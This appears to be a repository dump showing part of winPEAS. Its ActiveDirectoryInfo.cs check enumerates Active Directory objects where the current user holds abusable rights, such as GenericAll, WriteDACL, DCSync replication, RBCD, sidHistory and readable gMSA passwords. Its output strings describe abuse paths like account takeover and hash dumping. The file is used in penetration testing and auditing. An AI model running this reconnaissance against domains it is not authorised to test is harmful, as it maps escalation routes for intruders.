publicKeyToken=\"db937bc2d44ff139\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-1.0.119.0\" newVersion=\"1.0.119.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Diagnostics.DiagnosticSource\" publicKeyToken=\"cc7b13ffcd2ddd51\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.0.1.0\" newVersion=\"4.0.1.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Diagnostics.Tracing\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.1.1.0\" newVersion=\"4.1.1.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Globalization.Calendars\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.0.2.0\" newVersion=\"4.0.2.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.IO\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.1.1.0\" newVersion=\"4.1.1.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.IO.Compression\" publicKeyToken=\"b77a5c561934e089\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.1.2.0\" newVersion=\"4.1.2.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.IO.Compression.ZipFile\" publicKeyToken=\"b77a5c561934e089\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.0.2.0\" newVersion=\"4.0.2.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.IO.FileSystem\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.0.2.0\" newVersion=\"4.0.2.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.IO.FileSystem.Primitives\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.0.2.0\" newVersion=\"4.0.2.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Linq\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.1.1.0\" newVersion=\"4.1.1.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Linq.Expressions\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.1.1.0\" newVersion=\"4.1.1.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Memory\" publicKeyToken=\"cc7b13ffcd2ddd51\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.0.1.2\" newVersion=\"4.0.1.2\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Net.Http\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.1.1.3\" newVersion=\"4.1.1.3\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Net.Sockets\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.1.1.0\" newVersion=\"4.1.1.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Numerics.Vectors\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.1.4.0\" newVersion=\"4.1.4.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Reflection\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.1.1.0\" newVersion=\"4.1.1.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Runtime\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.1.1.0\" newVersion=\"4.1.1.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Runtime.Extensions\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.1.1.0\" newVersion=\"4.1.1.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Runtime.InteropServices\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.1.1.0\" newVersion=\"4.1.1.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Runtime.InteropServices.RuntimeInformation\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.0.1.0\" newVersion=\"4.0.1.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Security.Cryptography.Algorithms\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.2.1.0\" newVersion=\"4.2.1.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Security.Cryptography.Encoding\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.0.1.0\" newVersion=\"4.0.1.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Security.Cryptography.Primitives\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.0.1.0\" newVersion=\"4.0.1.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Security.Cryptography.X509Certificates\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.1.1.0\" newVersion=\"4.1.1.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Text.Encodings.Web\" publicKeyToken=\"cc7b13ffcd2ddd51\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-9.0.0.1\" newVersion=\"9.0.0.1\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Text.RegularExpressions\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.1.0.0\" newVersion=\"4.1.0.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Threading.Tasks.Extensions\" publicKeyToken=\"cc7b13ffcd2ddd51\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.2.0.1\" newVersion=\"4.2.0.1\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.ValueTuple\" publicKeyToken=\"cc7b13ffcd2ddd51\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.0.3.0\" newVersion=\"4.0.3.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Xml.ReaderWriter\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.1.0.0\" newVersion=\"4.1.0.0\" />\n      </dependentAssembly>\n    </assemblyBinding>\n  </runtime>\n  <entityFramework>\n    <providers>\n      <provider invariantName=\"System.Data.SqlClient\" type=\"System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer\" />\n      <provider invariantName=\"System.Data.SQLite.EF6\" type=\"System.Data.SQLite.EF6.SQLiteProviderServices, System.Data.SQLite.EF6\" />\n    </providers>\n  </entityFramework>\n  <system.data>\n    <DbProviderFactories>\n      <remove invariant=\"System.Data.SQLite.EF6\" />\n      <add name=\"SQLite Data Provider (Entity Framework 6)\" invariant=\"System.Data.SQLite.EF6\" description=\".NET Framework Data Provider for SQLite (Entity Framework 6)\" type=\"System.Data.SQLite.EF6.SQLiteProviderFactory, System.Data.SQLite.EF6\" />\n    <remove invariant=\"System.Data.SQLite\" /><add name=\"SQLite Data Provider\" invariant=\"System.Data.SQLite\" description=\".NET Framework Data Provider for SQLite\" type=\"System.Data.SQLite.SQLiteFactory, System.Data.SQLite\" /></DbProviderFactories>\n  </system.data>\n</configuration>"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Checks/ActiveDirectoryInfo.cs",
    "content": "using System;\nusing System.Collections.Generic;\nusing System.DirectoryServices;\nusing System.Reflection;\nusing System.Linq;\nusing System.Security.AccessControl;\nusing System.Security.Principal;\nusing System.Text;\nusing winPEAS.Helpers;\nusing winPEAS.Helpers.Registry;\n\nnamespace winPEAS.Checks\n{\n    // Lightweight AD-oriented checks for common escalation paths (gMSA readable password, AD CS template control)\n    internal class ActiveDirectoryInfo : ISystemCheck\n    {\n        public string[] MitreAttackIds { get; } = new[] { \"T1018\", \"T1087.002\", \"T1558.003\", \"T1484.001\", \"T1649\", \"T1003\" };\n\n        public void PrintInfo(bool isDebug)\n        {\n            Beaprint.GreatPrint(\"Active Directory Quick Checks\", \"T1018,T1087.002,T1558.003,T1484.001,T1649,T1003\");\n\n            new List<Action>\n            {\n                PrintGmsaReadableByCurrentPrincipal,\n                PrintKerberoastableServiceAccounts,\n                PrintAdObjectControlPaths,\n                PrintAdcsMisconfigurations\n            }.ForEach(action => CheckRunner.Run(action, isDebug));\n        }\n\n        private const int SampleObjectLimit = 120;\n        private const int MaxFindingsToPrint = 40;\n        private static readonly Dictionary<Guid, string> GuidNameCache = new Dictionary<Guid, string>();\n        private static readonly object GuidCacheLock = new object();\n\n        private static HashSet<string> GetCurrentSidSet()\n        {\n            var sids = new HashSet<string>(StringComparer.OrdinalIgnoreCase);\n            try\n            {\n                var id = WindowsIdentity.GetCurrent();\n                sids.Add(id.User.Value);\n                foreach (var g in id.Groups)\n                {\n                    sids.Add(g.Value);\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(\"    [!] Error obtaining current SIDs: \" + ex.Message);\n            }\n            return sids;\n        }\n\n        private static string GetRootDseProp(string prop)\n        {\n            try\n            {\n                using (var root = new DirectoryEntry(\"LDAP://RootDSE\"))\n                {\n                    return root.Properties[prop]?.Value as string;\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint($\"    [!] Error accessing RootDSE ({prop}): {ex.Message}\");\n                return null;\n            }\n        }\n\n        private static string GetProp(SearchResult r, string name)\n        {\n            return (r.Properties.Contains(name) && r.Properties[name].Count > 0)\n                ? r.Properties[name][0]?.ToString()\n                : null;\n        }\n\n        // Highlight objects where the current principal already has useful write/control rights\n        private void PrintAdObjectControlPaths()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"AD object control surfaces\", \"T1484.001,T1087.002,T1018\");\n                Beaprint.LinkPrint(\n                    \"https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#acl-abuse\",\n                    \"Look for objects where you have GenericAll/GenericWrite/attribute rights for ACL abuse (password reset, SPN/UAC/RBCD, sidHistory, delegation, DCSync).\");\n\n                if (!Checks.IsPartOfDomain)\n                {\n                    Beaprint.GrayPrint(\"  [-] Host is not domain-joined. Skipping.\");\n                    return;\n                }\n\n                var defaultNC = GetRootDseProp(\"defaultNamingContext\");\n                var schemaNC = GetRootDseProp(\"schemaNamingContext\");\n                var configNC = GetRootDseProp(\"configurationNamingContext\");\n\n                if (string.IsNullOrEmpty(defaultNC))\n                {\n                    Beaprint.GrayPrint(\"  [-] Could not resolve defaultNamingContext.\");\n                    return;\n                }\n\n                var sidSet = GetCurrentSidSet();\n                var processedDns = new HashSet<string>(StringComparer.OrdinalIgnoreCase);\n                var findings = new List<AdObjectFinding>();\n\n                foreach (var target in EnumerateHighValueTargets(defaultNC))\n                {\n                    var finding = AnalyzeDirectoryObject(target.DistinguishedName, target.Label, sidSet, schemaNC, configNC);\n                    if (finding == null)\n                    {\n                        continue;\n                    }\n\n                    if (processedDns.Add(finding.DistinguishedName))\n                    {\n                        findings.Add(finding);\n                    }\n                }\n\n                try\n                {\n                    using (var baseDe = new DirectoryEntry(\"LDAP://\" + defaultNC))\n                    using (var ds = new DirectorySearcher(baseDe))\n                    {\n                        ds.PageSize = 200;\n                        ds.SizeLimit = SampleObjectLimit;\n                        ds.SearchScope = SearchScope.Subtree;\n                        ds.SecurityMasks = SecurityMasks.Dacl;\n                        ds.Filter = \"(|(objectClass=user)(objectClass=group)(objectClass=computer))\";\n                        ds.PropertiesToLoad.Add(\"distinguishedName\");\n                        ds.PropertiesToLoad.Add(\"sAMAccountName\");\n                        ds.PropertiesToLoad.Add(\"name\");\n\n                        using (var results = ds.FindAll())\n                        {\n                            foreach (SearchResult r in results)\n                            {\n                                var dn = GetProp(r, \"distinguishedName\");\n                                if (string.IsNullOrEmpty(dn) || processedDns.Contains(dn))\n                                {\n                                    continue;\n                                }\n\n                                var label = GetProp(r, \"sAMAccountName\") ?? GetProp(r, \"name\") ?? dn;\n                                var finding = AnalyzeDirectoryObject(dn, label, sidSet, schemaNC, configNC);\n                                if (finding != null && processedDns.Add(finding.DistinguishedName))\n                                {\n                                    findings.Add(finding);\n                                }\n                            }\n                        }\n                    }\n                }\n                catch (Exception ex)\n                {\n                    Beaprint.GrayPrint(\"    [!] LDAP sampling failed: \" + ex.Message);\n                }\n\n                if (findings.Count == 0)\n                {\n                    Beaprint.GrayPrint(\"  [-] No impactful ACLs detected for the current principal (sampled set).\");\n                    return;\n                }\n\n                var ordered = findings\n                    .OrderByDescending(f => f.MaxScore)\n                    .ThenBy(f => f.DisplayName, StringComparer.OrdinalIgnoreCase)\n                    .ToList();\n\n                var truncated = ordered.Count > MaxFindingsToPrint;\n                if (truncated)\n                {\n                    ordered = ordered.Take(MaxFindingsToPrint).ToList();\n                }\n\n                Beaprint.GrayPrint($\"  [+] Found {findings.Count} object(s) where your principal has abuse-friendly rights:\");\n                foreach (var finding in ordered)\n                {\n                    Beaprint.BadPrint($\"    -> {finding.DisplayName} ({finding.ClassName})\");\n                    Beaprint.GrayPrint(\"       DN: \" + finding.DistinguishedName);\n                    foreach (var impact in finding.Impacts.OrderByDescending(i => i.Score))\n                    {\n                        Beaprint.GrayPrint($\"       * {impact.Impact}: {impact.Detail}\");\n                    }\n                }\n\n                if (truncated)\n                {\n                    Beaprint.GrayPrint($\"  [!] Additional {findings.Count - MaxFindingsToPrint} object(s) not shown (enable domain mode or run winPEAS with more time to enumerate all objects).\");\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static IEnumerable<(string Label, string DistinguishedName)> EnumerateHighValueTargets(string defaultNC)\n        {\n            return new List<(string, string)>\n            {\n                (\"Domain Root\", defaultNC),\n                (\"AdminSDHolder\", $\"CN=AdminSDHolder,CN=System,{defaultNC}\"),\n                (\"Domain Controllers OU\", $\"OU=Domain Controllers,{defaultNC}\"),\n                (\"Domain Controllers group\", $\"CN=Domain Controllers,CN=Users,{defaultNC}\"),\n                (\"Domain Admins\", $\"CN=Domain Admins,CN=Users,{defaultNC}\"),\n                (\"Enterprise Admins\", $\"CN=Enterprise Admins,CN=Users,{defaultNC}\"),\n                (\"Schema Admins\", $\"CN=Schema Admins,CN=Users,{defaultNC}\"),\n                (\"Administrators\", $\"CN=Administrators,CN=Builtin,{defaultNC}\"),\n                (\"Account Operators\", $\"CN=Account Operators,CN=Builtin,{defaultNC}\"),\n                (\"Backup Operators\", $\"CN=Backup Operators,CN=Builtin,{defaultNC}\"),\n                (\"Group Policy Creator Owners\", $\"CN=Group Policy Creator Owners,CN=Users,{defaultNC}\"),\n                (\"krbtgt\", $\"CN=krbtgt,CN=Users,{defaultNC}\")\n            };\n        }\n\n        private static AdObjectFinding AnalyzeDirectoryObject(string dn, string label, HashSet<string> sidSet, string schemaNC, string configNC)\n        {\n            if (string.IsNullOrEmpty(dn))\n            {\n                return null;\n            }\n\n            try\n            {\n                using (var entry = new DirectoryEntry(\"LDAP://\" + dn))\n                {\n                    entry.Options.SecurityMasks = SecurityMasks.Owner | SecurityMasks.Dacl;\n                    entry.RefreshCache();\n                    return EvaluateSecurity(entry, label ?? dn, sidSet, schemaNC, configNC);\n                }\n            }\n            catch (Exception)\n            {\n                return null;\n            }\n        }\n\n        private static AdObjectFinding EvaluateSecurity(DirectoryEntry entry, string label, HashSet<string> sidSet, string schemaNC, string configNC)\n        {\n            ActiveDirectorySecurity security;\n            try\n            {\n                security = entry.ObjectSecurity;\n            }\n            catch\n            {\n                return null;\n            }\n\n            if (security == null)\n            {\n                return null;\n            }\n\n            var finding = new AdObjectFinding\n            {\n                DisplayName = label ?? entry.Name,\n                DistinguishedName = entry.Properties?[\"distinguishedName\"]?.Value as string ?? entry.Path,\n                ClassName = entry.SchemaClassName ?? \"object\"\n            };\n\n            var seenImpacts = new HashSet<string>(StringComparer.OrdinalIgnoreCase);\n\n            try\n            {\n                var ownerSid = security.GetOwner(typeof(SecurityIdentifier)) as SecurityIdentifier;\n                if (ownerSid != null && sidSet.Contains(ownerSid.Value))\n                {\n                    var impact = new AdAccessImpact\n                    {\n                        Impact = \"Object owner\",\n                        Detail = \"You own this object and can rewrite its ACL to grant full control.\",\n                        Score = 3\n                    };\n                    finding.Impacts.Add(impact);\n                    seenImpacts.Add(impact.Impact);\n                }\n            }\n            catch\n            {\n                // ignore owner lookup issues\n            }\n\n            AuthorizationRuleCollection rules;\n            try\n            {\n                rules = security.GetAccessRules(true, true, typeof(SecurityIdentifier));\n            }\n            catch\n            {\n                return finding.Impacts.Count > 0 ? finding : null;\n            }\n\n            foreach (ActiveDirectoryAccessRule rule in rules)\n            {\n                if (rule == null || rule.AccessControlType != AccessControlType.Allow)\n                {\n                    continue;\n                }\n\n                if (!(rule.IdentityReference is SecurityIdentifier sid))\n                {\n                    continue;\n                }\n\n                if (!sidSet.Contains(sid.Value))\n                {\n                    continue;\n                }\n\n                foreach (var impact in MapRuleToImpacts(rule, schemaNC, configNC))\n                {\n                    if (impact == null)\n                    {\n                        continue;\n                    }\n\n                    var key = impact.Impact + \"|\" + impact.Detail;\n                    if (seenImpacts.Add(key))\n                    {\n                        finding.Impacts.Add(impact);\n                    }\n                }\n            }\n\n            return finding.Impacts.Count > 0 ? finding : null;\n        }\n\n        private static IEnumerable<AdAccessImpact> MapRuleToImpacts(ActiveDirectoryAccessRule rule, string schemaNC, string configNC)\n        {\n            var impacts = new List<AdAccessImpact>();\n            var rights = rule.ActiveDirectoryRights;\n\n            if ((rights & ActiveDirectoryRights.GenericAll) != 0)\n            {\n                impacts.Add(new AdAccessImpact\n                {\n                    Impact = \"GenericAll\",\n                    Detail = \"Full control -> reset password, add group members, edit SPNs/UAC, change ACLs.\",\n                    Score = 5\n                });\n                return impacts;\n            }\n\n            if ((rights & ActiveDirectoryRights.GenericWrite) != 0)\n            {\n                impacts.Add(new AdAccessImpact\n                {\n                    Impact = \"GenericWrite\",\n                    Detail = \"Can modify most attributes (logon scripts, SPNs, UAC, etc.).\",\n                    Score = 4\n                });\n            }\n\n            if ((rights & ActiveDirectoryRights.WriteDacl) != 0)\n            {\n                impacts.Add(new AdAccessImpact\n                {\n                    Impact = \"WriteDACL\",\n                    Detail = \"Can edit the ACL to grant yourself additional rights/persistence.\",\n                    Score = 4\n                });\n            }\n\n            if ((rights & ActiveDirectoryRights.WriteOwner) != 0)\n            {\n                impacts.Add(new AdAccessImpact\n                {\n                    Impact = \"WriteOwner\",\n                    Detail = \"Can take ownership and then modify the DACL.\",\n                    Score = 3\n                });\n            }\n\n            if ((rights & ActiveDirectoryRights.CreateChild) != 0)\n            {\n                impacts.Add(new AdAccessImpact\n                {\n                    Impact = \"CreateChild\",\n                    Detail = \"Can create new users/computers/groups under this container (great for planting attack principals).\",\n                    Score = 3\n                });\n            }\n\n            if ((rights & ActiveDirectoryRights.ExtendedRight) != 0)\n            {\n                var extImpact = MapExtendedRightImpact(rule.ObjectType, schemaNC, configNC);\n                if (extImpact != null)\n                {\n                    impacts.Add(extImpact);\n                }\n            }\n\n            if ((rights & ActiveDirectoryRights.WriteProperty) != 0)\n            {\n                var attrImpact = MapAttributeWriteImpact(rule.ObjectType, schemaNC, configNC, false);\n                if (attrImpact != null)\n                {\n                    impacts.Add(attrImpact);\n                }\n            }\n\n            if ((rights & ActiveDirectoryRights.Self) != 0)\n            {\n                var validatedImpact = MapAttributeWriteImpact(rule.ObjectType, schemaNC, configNC, true);\n                if (validatedImpact != null)\n                {\n                    impacts.Add(validatedImpact);\n                }\n            }\n\n            return impacts;\n        }\n\n        private static AdAccessImpact MapExtendedRightImpact(Guid objectType, string schemaNC, string configNC)\n        {\n            if (objectType == Guid.Empty)\n            {\n                return null;\n            }\n\n            var name = GetGuidFriendlyName(objectType, schemaNC, configNC)?.ToLowerInvariant();\n            if (string.IsNullOrEmpty(name))\n            {\n                return null;\n            }\n\n            if (name.Contains(\"reset password\") || name.Contains(\"user-force-change-password\"))\n            {\n                return new AdAccessImpact\n                {\n                    Impact = \"ResetPassword right\",\n                    Detail = \"Can reset the target account password without knowing the current value.\",\n                    Score = 5\n                };\n            }\n\n            if (name.Contains(\"replicating directory changes\"))\n            {\n                return new AdAccessImpact\n                {\n                    Impact = \"Replication (DCSync)\",\n                    Detail = \"Has replication rights (part of DCSync privilege to dump NTDS hashes).\",\n                    Score = name.Contains(\"filtered\") ? 5 : 4\n                };\n            }\n\n            return null;\n        }\n\n        private static AdAccessImpact MapAttributeWriteImpact(Guid objectType, string schemaNC, string configNC, bool validatedWrite)\n        {\n            if (objectType == Guid.Empty)\n            {\n                return new AdAccessImpact\n                {\n                    Impact = validatedWrite ? \"Validated write (broad)\" : \"WriteProperty (broad)\",\n                    Detail = \"ACE applies to most attributes. Consider SPN/UAC/sidHistory abuse paths.\",\n                    Score = 3\n                };\n            }\n\n            var attributeName = GetGuidFriendlyName(objectType, schemaNC, configNC);\n            if (string.IsNullOrEmpty(attributeName))\n            {\n                return null;\n            }\n\n            var lower = attributeName.ToLowerInvariant();\n\n            if (lower.Contains(\"member\"))\n            {\n                return new AdAccessImpact\n                {\n                    Impact = \"Group membership control\",\n                    Detail = \"Can edit the 'member' attribute -> add principals to this group.\",\n                    Score = 5\n                };\n            }\n\n            if (lower.Contains(\"serviceprincipalname\") || lower.Contains(\"validated-spn\"))\n            {\n                return new AdAccessImpact\n                {\n                    Impact = \"SPN control\",\n                    Detail = \"Can set servicePrincipalName -> Kerberoast or constrained delegation abuse.\",\n                    Score = 4\n                };\n            }\n\n            if (lower.Contains(\"useraccountcontrol\"))\n            {\n                return new AdAccessImpact\n                {\n                    Impact = \"UAC control\",\n                    Detail = \"Can toggle UserAccountControl bits (AS-REP roastable, delegation, unconstrained).\",\n                    Score = 4\n                };\n            }\n\n            if (lower.Contains(\"msds-allowedtoactonbehalfofotheridentity\"))\n            {\n                return new AdAccessImpact\n                {\n                    Impact = \"RBCD control\",\n                    Detail = \"Can edit msDS-AllowedToActOnBehalfOfOtherIdentity -> configure Resource-Based Constrained Delegation.\",\n                    Score = 5\n                };\n            }\n\n            if (lower.Contains(\"msds-allowedtodelegateto\"))\n            {\n                return new AdAccessImpact\n                {\n                    Impact = \"Delegation target control\",\n                    Detail = \"Can edit msDS-AllowedToDelegateTo -> establish constrained delegation paths.\",\n                    Score = 4\n                };\n            }\n\n            if (lower.Contains(\"sidhistory\"))\n            {\n                return new AdAccessImpact\n                {\n                    Impact = \"sidHistory control\",\n                    Detail = \"Can add privileged SIDs into sidHistory for stealth escalation/persistence.\",\n                    Score = 4\n                };\n            }\n\n            if (lower.Contains(\"unicodepwd\") || lower.Contains(\"userpassword\"))\n            {\n                return new AdAccessImpact\n                {\n                    Impact = \"Password write\",\n                    Detail = \"Can directly set unicodePwd/userPassword -> immediate account takeover.\",\n                    Score = 5\n                };\n            }\n\n            return null;\n        }\n\n        private static string GetGuidFriendlyName(Guid guid, string schemaNC, string configNC)\n        {\n            if (guid == Guid.Empty)\n            {\n                return null;\n            }\n\n            lock (GuidCacheLock)\n            {\n                if (GuidNameCache.TryGetValue(guid, out var cached))\n                {\n                    return cached;\n                }\n            }\n\n            string resolved = null;\n\n            if (!string.IsNullOrEmpty(schemaNC))\n            {\n                resolved = LookupGuidInSchema(guid, schemaNC);\n            }\n\n            if (resolved == null && !string.IsNullOrEmpty(configNC))\n            {\n                resolved = LookupGuidInExtendedRights(guid, configNC);\n            }\n\n            if (string.IsNullOrEmpty(resolved))\n            {\n                resolved = guid.ToString();\n            }\n\n            lock (GuidCacheLock)\n            {\n                if (!GuidNameCache.ContainsKey(guid))\n                {\n                    GuidNameCache[guid] = resolved;\n                }\n                return GuidNameCache[guid];\n            }\n        }\n\n        private static string LookupGuidInSchema(Guid guid, string schemaNC)\n        {\n            try\n            {\n                using (var schema = new DirectoryEntry(\"LDAP://\" + schemaNC))\n                using (var searcher = new DirectorySearcher(schema))\n                {\n                    searcher.Filter = $\"(schemaIDGUID={GuidToLdapFilter(guid)})\";\n                    searcher.PropertiesToLoad.Add(\"lDAPDisplayName\");\n                    searcher.PropertiesToLoad.Add(\"name\");\n                    var result = searcher.FindOne();\n                    if (result != null)\n                    {\n                        return GetProp(result, \"lDAPDisplayName\") ?? GetProp(result, \"name\");\n                    }\n                }\n            }\n            catch\n            {\n                // ignore schema lookup errors\n            }\n\n            return null;\n        }\n\n        private static string LookupGuidInExtendedRights(Guid guid, string configNC)\n        {\n            try\n            {\n                var extendedRightsDn = $\"CN=Extended-Rights,{configNC}\";\n                using (var rights = new DirectoryEntry(\"LDAP://\" + extendedRightsDn))\n                using (var searcher = new DirectorySearcher(rights))\n                {\n                    searcher.Filter = $\"(rightsGuid={guid})\";\n                    searcher.PropertiesToLoad.Add(\"displayName\");\n                    searcher.PropertiesToLoad.Add(\"name\");\n                    var result = searcher.FindOne();\n                    if (result != null)\n                    {\n                        return GetProp(result, \"displayName\") ?? GetProp(result, \"name\");\n                    }\n                }\n            }\n            catch\n            {\n                // ignore extended rights lookup issues\n            }\n\n            return null;\n        }\n\n        private static string GuidToLdapFilter(Guid guid)\n        {\n            var bytes = guid.ToByteArray();\n            var sb = new StringBuilder();\n            foreach (var b in bytes)\n            {\n                sb.Append($\"\\\\{b:X2}\");\n            }\n\n            return sb.ToString();\n        }\n\n        private class AdObjectFinding\n        {\n            public string DisplayName { get; set; }\n            public string DistinguishedName { get; set; }\n            public string ClassName { get; set; }\n            public List<AdAccessImpact> Impacts { get; } = new List<AdAccessImpact>();\n            public int MaxScore => Impacts.Count == 0 ? 0 : Impacts.Max(i => i.Score);\n        }\n\n        private class AdAccessImpact\n        {\n            public string Impact { get; set; }\n            public string Detail { get; set; }\n            public int Score { get; set; }\n        }\n\n        // Detect gMSA objects where the current principal (or one of its groups) can retrieve the managed password\n        private void PrintGmsaReadableByCurrentPrincipal()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"gMSA readable managed passwords\", \"T1003\");\n                Beaprint.LinkPrint(\n                    \"https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/gmsa.html\",\n                    \"Look for Group Managed Service Accounts you can read (msDS-ManagedPassword)\");\n\n                if (!Checks.IsPartOfDomain)\n                {\n                    Beaprint.GrayPrint(\"  [-] Host is not domain-joined. Skipping.\");\n                    return;\n                }\n\n                var defaultNC = GetRootDseProp(\"defaultNamingContext\");\n                if (string.IsNullOrEmpty(defaultNC))\n                {\n                    Beaprint.GrayPrint(\"  [-] Could not resolve defaultNamingContext.\");\n                    return;\n                }\n\n                var currentSidSet = GetCurrentSidSet();\n                int total = 0, readable = 0;\n\n                using (var baseDe = new DirectoryEntry(\"LDAP://\" + defaultNC))\n                using (var ds = new DirectorySearcher(baseDe))\n                {\n                    ds.PageSize = 300;\n                    ds.Filter = \"(&(objectClass=msDS-GroupManagedServiceAccount))\";\n                    ds.PropertiesToLoad.Add(\"sAMAccountName\");\n                    ds.PropertiesToLoad.Add(\"distinguishedName\");\n                    // Who can read the managed password\n                    ds.PropertiesToLoad.Add(\"PrincipalsAllowedToRetrieveManagedPassword\");\n\n                    foreach (SearchResult r in ds.FindAll())\n                    {\n                        total++;\n                        var name = GetProp(r, \"sAMAccountName\") ?? GetProp(r, \"distinguishedName\") ?? \"<unknown>\";\n                        var dn = GetProp(r, \"distinguishedName\") ?? \"\";\n\n                        bool canRead = false;\n                        // Attribute may be absent or empty\n                        var allowedDns = r.Properties[\"principalsallowedtoretrievemanagedpassword\"];\n                        if (allowedDns != null)\n                        {\n                            foreach (var val in allowedDns)\n                            {\n                                try\n                                {\n                                    using (var de = new DirectoryEntry(\"LDAP://\" + val.ToString()))\n                                    {\n                                        var sidObj = de.Properties[\"objectSid\"]?.Value as byte[];\n                                        if (sidObj == null) continue;\n                                        var sid = new SecurityIdentifier(sidObj, 0).Value;\n                                        if (currentSidSet.Contains(sid))\n                                        {\n                                            canRead = true;\n                                        }\n                                    }\n                            